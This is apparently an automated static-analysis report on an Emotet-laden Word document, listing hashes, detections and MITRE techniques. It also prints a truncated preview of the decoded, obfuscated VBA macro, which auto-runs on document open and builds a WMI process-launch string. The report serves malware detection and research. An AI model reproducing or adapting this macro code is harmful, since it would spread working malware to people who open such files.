Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 70cc4a26d40d9e22…

MALICIOUS

Office (OLE)

122.2 KB Created: 2020-09-04 11:26:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: de988be3d848864fecb2b84ffc6b9a7e SHA-1: 38e7285939a41086f4840042f260bf899497cb63 SHA-256: 70cc4a26d40d9e224b57ee8a33fcdc4d45006e8d9c3fba8a851d735ae5cc1bf3
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Malware.Emotet-9756469-0', indicating a known Emotet variant. High-severity heuristics confirm the presence of VBA macros, specifically a Document_Open macro that uses CreateObject to execute code. While the VBA code is heavily obfuscated, the presence of 'power

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-9756469-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9756469-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16334 bytes
SHA-256: 48c1fb4305eadf2de4714d9dd50a2d4c0f150393f04718c340b2271902d0acb4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "G8pody_7y9budmxr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Fkneo8urhryuvu = Array(Lz39zo_w8ref51al1q + "N87srieycker6wIpxj_bizryj222 E0dgbcugk1u2" + I4_kuqnwzqrnkio5ir, X7efnzul3imtpl, Gi4vgc9qnhotk001.Caax6c516ame70p, Jzy0hknvrtw43 + "Encjg5bhxxv_ewnm8 B_71fjjdtkx T84sw7kkisjgbboh Tifwu240qh4_")
End Sub


Attribute VB_Name = "Gi4vgc9qnhotk001"
Attribute VB_Base = "0{D39976AE-92F7-4256-A931-6EDFFD7071E3}{D1261F4A-BE72-4A6B-8CA2-804C041CD414}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Caax6c516ame70p()
   On Error Resume Next
Select Case Lf5crgsyh2f
Case "M3g6d1vvekypvea"
Wws8fzzane0b85kd3n = (UIbjsahlkdas)
Wws8fzzane0b85kd3n = JHNklHS
Wws8fzzane0b85kd3n = Atn(ihKLNsad)
Wws8fzzane0b85kd3n = Log(323)
Case "Vx53wx6s3xl"
Wws8fzzane0b85kd3n = 288262913
Wws8fzzane0b85kd3n = u23ioyhiggukjjs
End Select
Select Case Hx5afl71g0bm
Case "L0frpsmgo5u8o969z"
Wws8fzzane0b85kd3n = 88383833333#
Wws8fzzane0b85kd3n = (qwlhusaidbwq)
Case "Lpnkrqykjil"
Wws8fzzane0b85kd3n = lkqwhnekqwn
Wws8fzzane0b85kd3n = Log(345345)
Wws8fzzane0b85kd3n = Atn(jsghi2lklqw)
Wws8fzzane0b85kd3n = smbdjlsblkhwqewqd
End Select
B4__cqf6pj_c17c = 105
   On Error Resume Next
Select Case Lf5crgsyh2f
Case "M3g6d1vvekypvea"
Wws8fzzane0b85kd3n = (UIbjsahlkdas)
Wws8fzzane0b85kd3n = JHNklHS
Wws8fzzane0b85kd3n = Atn(ihKLNsad)
Wws8fzzane0b85kd3n = Log(323)
Case "Vx53wx6s3xl"
Wws8fzzane0b85kd3n = 288262913
Wws8fzzane0b85kd3n = u23ioyhiggukjjs
End Select
Select Case Hx5afl71g0bm
Case "L0frpsmgo5u8o969z"
Wws8fzzane0b85kd3n = 88383833333#
Wws8fzzane0b85kd3n = (qwlhusaidbwq)
Case "Lpnkrqykjil"
Wws8fzzane0b85kd3n = lkqwhnekqwn
Wws8fzzane0b85kd3n = Log(345345)
Wws8fzzane0b85kd3n = Atn(jsghi2lklqw)
Wws8fzzane0b85kd3n = smbdjlsblkhwqewqd
End Select
Vw5gd2gdt3xqd9h = Chr$(B4__cqf6pj_c17c + (10))
   On Error Resume Next
Select Case Lf5crgsyh2f
Case "M3g6d1vvekypvea"
Wws8fzzane0b85kd3n = (UIbjsahlkdas)
Wws8fzzane0b85kd3n = JHNklHS
Wws8fzzane0b85kd3n = Atn(ihKLNsad)
Wws8fzzane0b85kd3n = Log(323)
Case "Vx53wx6s3xl"
Wws8fzzane0b85kd3n = 288262913
Wws8fzzane0b85kd3n = u23ioyhiggukjjs
End Select
Select Case Hx5afl71g0bm
Case "L0frpsmgo5u8o969z"
Wws8fzzane0b85kd3n = 88383833333#
Wws8fzzane0b85kd3n = (qwlhusaidbwq)
Case "Lpnkrqykjil"
Wws8fzzane0b85kd3n = lkqwhnekqwn
Wws8fzzane0b85kd3n = Log(345345)
Wws8fzzane0b85kd3n = Atn(jsghi2lklqw)
Wws8fzzane0b85kd3n = smbdjlsblkhwqewqd
End Select
Dfyaud_a9q0455 = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + Vw5gd2gdt3xqd9h + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Gi4vgc9qnhotk001.Olbt49nw9vi1gq_jfs + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   On Error Resume Next
Select Case Lf5crgsyh2f
Case "M3g6d1vvekypvea"
Wws8fzzane0b85kd3n = (UIbjsahlkdas)
Wws8fzzane0b85kd3n = JHNklHS
Wws8fzzane0b85kd3n = Atn(ihKLNsad)
Wws8fzzane0b85kd3n = Log(323)
Case "Vx53wx6s3xl"
Wws8fzzane0b85kd3n = 288262913
Wws8fzzane0b85kd3n = u23ioyhiggukjjs
End Select
Select Case Hx5afl71g0bm
Case "L0frpsmgo5u8o969z"
Wws8fzzane0b85kd3n = 88383833333#
Wws8fzzane0b85kd3n = (qwlhusaidbwq)
Case "Lpnkrqykjil"
Wws8fzzane0b85kd3n = lkqwhnekqwn
Wws8fzzane0b85kd3n = Log(345345)
Wws8fzzane0b85kd3n = Atn(jsghi2lklqw)
Wws8fzzane0b85kd3n = smbdjlsblkhwqewqd
End Select
Tf24kl9jk8ly = Bmqo72nwi65qtu4(Dfyaud_a9q0455)
   On Error Resume Next
Select Case Lf5crgsyh2f
Case "M3g6d1vvekypvea"
Wws8fzzane
... (truncated)